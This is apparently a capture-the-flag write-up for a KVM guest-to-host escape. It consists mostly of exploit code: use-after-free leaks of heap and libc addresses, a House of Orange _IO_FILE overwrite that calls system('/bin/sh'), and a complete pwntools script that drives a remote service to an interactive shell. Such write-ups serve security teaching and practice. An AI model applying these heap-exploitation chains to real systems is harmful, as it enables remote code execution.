- Original executable loads 16-bit code to KVM and starts execute it.
- Host process provides I/O interface and interface for memory management on host using vmcall and port I/O.
- Guest can allocate, free and update memory buffers on host and in itself address space.
- Host memory management interface is insecure, so it allows to free memory without nullification ptr and size. As result guest can trigger use-after-free and double-free.
void __fastcall free_buffer(__int16 mode, unsigned __int16 index)
{
if ( index <= 0x10u )
{
switch ( mode )
{
case 2:
free(buf_pointers[index]);
buf_pointers[index] = 0LL;
--buf_counter;
break;
case 3: // guest send 3 by default
free(buf_pointers[index]);
buf_pointers[index] = 0LL;
buf_sizes[index] = 0;
--buf_counter;
break;
case 1:
free(buf_pointers[index]);
break;
}
}
else
{
perror("Index out of bound!");
}
}
- We can trigger RCE in guest by allocating multiple buffer and thus overflowing 16-bit pointer.
guest_code:196F mov cx, word ptr total_allocated
guest_code:1973 cmp cx, 0B000h
guest_code:1977 ja short loc_19AD
guest_code:1979 mov si, word ptr total_buffers
guest_code:197D cmp si, 10h
guest_code:1980 jnb short loc_19B8
guest_code:1982 mov di, cx
guest_code:1984 add cx, 5000h
// cx - allocated address, so if total_allocated equals 0xB000 then we got nullptr
- Now we call update_buffer (it copies memory from host to guest and vice versa) and free_buffer with any modifiers
- At this moment we can trigger use-after-free vulnerability to leak heap start address. For simplicity, PoC code given in C:
void* p1 = malloc(0x500); // must be the first use of malloc in program
char* p2 = malloc(0x100);
free(p1);
char* p3 = malloc(0x400);
void* heap_ptr = *((void **)p1+3); // leaked heap address
- Also, we can leak libc main_arena address by exploiting use-after-free:
char* p1 = malloc(0x100);
char* p2 = malloc(0x100);
free(p1);
free(p2);
char* p3 = malloc(0x100); // don't trigger malloc assertions
free(p1);
void* arena_top = *(void **)p3;
// now we know libc start address by subtracting offset of main_arena symbol
- Given heap address and libc start address we can call system("/bin/bash") by some magic inspired by House of Orange exploit by Shellphish:
void* heap_ptr = ...;
/* don't forget to cleanup all previous mallocs
* otherwise heap_ptr + 0x10 != p1 */
p1 = malloc(0x400 - 16);
/* get pointer to malloc top_chunk in arena */
size_t* top = (size_t *) (p1 + 0x400 - 16);
/* rewrite its size and set PREV_INUSE bit */
top[1] = 0xc01;
/* malloc should allocate new page to service this call
* due to corruption of top_chunk size
* then frees old top_chunk and places it to unsorted bin */
p2 = malloc(0x1000);
/* we know address of _IO_list_all (which is linked list of _IO_FILE)
* set top->bk to address we want override */
top[3] = _IO_list_all_addr - 0x10;
/* copy payload, it will be passed as argument to a function */
memcpy(top, "/bin/sh\x00", 8);
/* overwrite size of chunk again to get in smallbin-4 (read below why) */
top[1] = 0x61;
/* _IO_FILE structure hacking */
char* t = top;
*(int*)(t + 0xc0) = 0;
*(size_t*)(t + 0x20) = 2;
*(size_t*)(t + 0x28) = 3;
size_t* vtable = &top[12];
vtable[3] = &system;
*(size_t*)(t + 0xd8) = vtable;
/* since top_chunk is stored in unsorted bin and doesn't fit to this call
* malloc will unlink top_chunk and thus overrides top_chunk->bk
* (which is _IO_list_all) to unsorted-bin address
* We need to overwrite _IO_file->_chain (which is next file) to our top
* so pointer to top must be at offset 0x68
* which corresponds to smallbin-4.
* After all of this malloc check state in _int_malloc and then aborts.
* Abort itself calls _IO_flush_all which then calls overflow callback
* on all files from _IO_list_all thus calling
* our evil code.
*/
malloc(0x100);
- Final exploit which combines both guest and host exploits:
from pwn import *
p = remote('34.236.229.208', 9999)
# we save print and read functions on guest
good_funcs = '\x51\x52\x56\x89\xD9\x89\xC6\x8A\x04\xE6\x17\x46\xE2\xF9\x5E\x5A\x59\xC3\x51\x52\x56\x89\xD9\x89\xC6\xE4\x17\x88\x04\x46\xE2\xF9\x5E\x5A\x59\xC3'
def free_host(index):
return '\x68\x00\x01\x9D' + '\xb8' + p16(0x101) + '\xbb' + p16(0x1) + '\xb1' + p8(index) + '\x0f\x01\xc1'
def malloc_host(size):
return '\x68\x00\x01\x9D' + '\xb8' + p16(0x100) + '\xbb' + p16(size) + '\x0f\x01\xc1'
def update_back(index, size):
return '\x68\x00\x01\x9D' + '\xb8' + p16(0x102) + '\xbb\x02\x00' + '\xb1' + p8(index) + '\xba' + p16(size) + '\x0f\x01\xc1'
def update_forward(index, size):
return '\x68\x00\x01\x9D' + '\xb8' + p16(0x102) + '\xbb\x01\x00' + '\xb1' + p8(index) + '\xba' + p16(size) + '\x0f\x01\xc1'
#p.write(('1' + p16(0x1000))*11 + '1' + p16(len(payload)))
#p.write('2' + '\x0c' + payload)
print_addr = 0x01F3
base_addr = 0x0122
read_addr = 0x0205
payload = '\xcc'*(0x122)
payload += malloc_host(0x500) # 0
payload += malloc_host(0x100) # 1
payload += free_host(0)
payload += update_back(0, 8)
payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(8) # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3) # call print_string
payload += malloc_host(0x400) # 2
payload += update_back(0, 32)
payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(32) # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3) # call print_string
payload += free_host(2)
payload += free_host(1)
payload += malloc_host(0x400 - 16)
payload += update_back(0, 0x400)
payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x400) # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3) # call print_string
payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x400) # mov bx, 8
payload += '\xe8' + p16(read_addr - len(payload) - 3) # call read_string
payload += update_forward(0, 0x400)
payload +='\x90\x90'
payload += '\xeb'+p8(len(good_funcs))
print (len(payload) == print_addr)
payload += good_funcs
payload += malloc_host(0x1000) # 3
payload += update_back(0, 0x500)
payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x500) # mov bx, 8
payload += '\xe8' + p16(print_addr - len(payload) - 3 + 0x10000) # call print_string
payload += '\xb8' + p16(0x4000) # mov ax, 0x4000
payload += '\xbb' + p16(0x500) # mov bx, 8
payload += '\xe8' + p16(read_addr - len(payload) - 3 + 0x10000) # call read_string
payload += update_forward(0, 0x500)
payload += malloc_host(0x100)
for i in xrange(11):
p.write('1' + p16(0x1000))
p.recvuntil('Your choice:')
p.write('1' + p16(len(payload)))
p.recvuntil('Your choice:')
p.write('2' + '\x0b' + payload)
p.recvuntil('Your choice:')
p.recvuntil('Content:')
arena_top = ''
while len(arena_top) != 8:
arena_top += p.recv(8-len(arena_top))
arena_top = u64(arena_top)
libc_base = arena_top - 0x3C4B78
system_addr = libc_base + 0x45390
some_trash = ''
while len(some_trash) != 32:
some_trash += p.recv(32 - len(some_trash))
heap_ptr = u64(some_trash[24:])
p1 = heap_ptr + 0x10
top_offset = 0x400 - 16
print hex(heap_ptr)
malloc_hook = arena_top - 0x68
p1buf = ''
while len(p1buf) != 0x400:
p1buf += p.recv(0x400 - len(p1buf))
p1buf = p1buf[:0x400-8] + p64(0xc01)
p.write(p1buf)
p2buf = ''
while len(p2buf) != 0x500:
p2buf += p.recv(0x500 - len(p2buf))
io_list_all_offset = top_offset + 2*8
io_list_all = u64(p2buf[io_list_all_offset:io_list_all_offset+8]) + 0x9a8
p2buf = p2buf[:top_offset + 3*8] + p64(io_list_all - 0x10) + p2buf[top_offset + 4*8:]
p2buf = p2buf[:top_offset] + '/bin/sh\x00' + p2buf[top_offset + 8:]
p2buf = p2buf[:top_offset + 8] + p64(0x61) + p2buf[top_offset + 2*8:]
p2buf = p2buf[:top_offset + 0xc0] + p32(0) + p2buf[top_offset + 0xc4:]
p2buf = p2buf[:top_offset + 0x20] + p64(2) + p2buf[top_offset + 0x28:]
p2buf = p2buf[:top_offset + 0x28] + p64(3) + p2buf[top_offset + 0x30:]
jump_table_offset = top_offset + 12*8
p2buf = p2buf[:jump_table_offset + 3*8] + p64(system_addr) + p2buf[jump_table_offset + 4*8:]
p2buf = p2buf[:top_offset + 0xd8] + p64(p1 + jump_table_offset) + p2buf[top_offset + 0xe0:]
print(len(p2buf) == 0x500)
p.write(p2buf)
p.interactive()